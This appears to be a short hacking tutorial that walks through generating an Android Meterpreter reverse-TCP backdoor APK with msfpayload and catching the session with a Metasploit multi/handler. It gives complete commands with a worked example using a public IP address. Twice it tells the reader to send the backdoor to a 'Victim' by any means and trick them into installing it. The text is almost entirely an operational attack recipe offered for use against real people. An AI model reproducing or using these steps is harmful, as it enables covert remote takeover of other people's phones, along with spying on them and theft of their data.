Step #1
In terminal type..
msfpayload payload/android/meterpreter/reverse_tcp LHOST=(external IP) LPORT=4444 R > /root/Desktop/test.apk    (Here external IP is your Public IP, check your Open Port and Public IP on www.canyouseeme.org , you can change the name of "apk" file     like i have done 'test')


 
Step #2
In terminal type.. 
msfconsole

Step #3 
In msfconsole use these commands..


use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
show options  (this command will show you bunch of options that are default and the options that you are going to change like LPORT LHOST etc)
set LHOST your_internal_IP   (eg. set LHOST 192.168.1.11)
set LPORT port_you've_forwarded   (any port you like but dont forget to port forward the port you choose, eg. set LPORT 4444 )
exploit

    Now, send the Payload/Backdoor to  your "Victim" by any means possible and make them to install and run the app, soon after victim run     the app you get the meterpreter session! ;)

    Enjoy!!, if something goes wrong please feel free to ask your doubts :)

Here is an example of this method:

1) msfpayload payload/android/meterpreter/reverse_tcp LHOST=56.23.112.211 LPORT=4444 R > /root/Desktop/TestApp.apk

2) msfconsole

   i) use exploit/multi/handler

   ii) set payload android/meterpreter/reverse_tcp

   iii) show options

   iv) set LHOST 192.168.1.11
 
   v) set LPORT 4444

   v) exploit

Now, send the Payload/Backdoor to your "Victim" by any means possible android device and make them to install and run the app, soon after victim run the app you get the meterpreter session!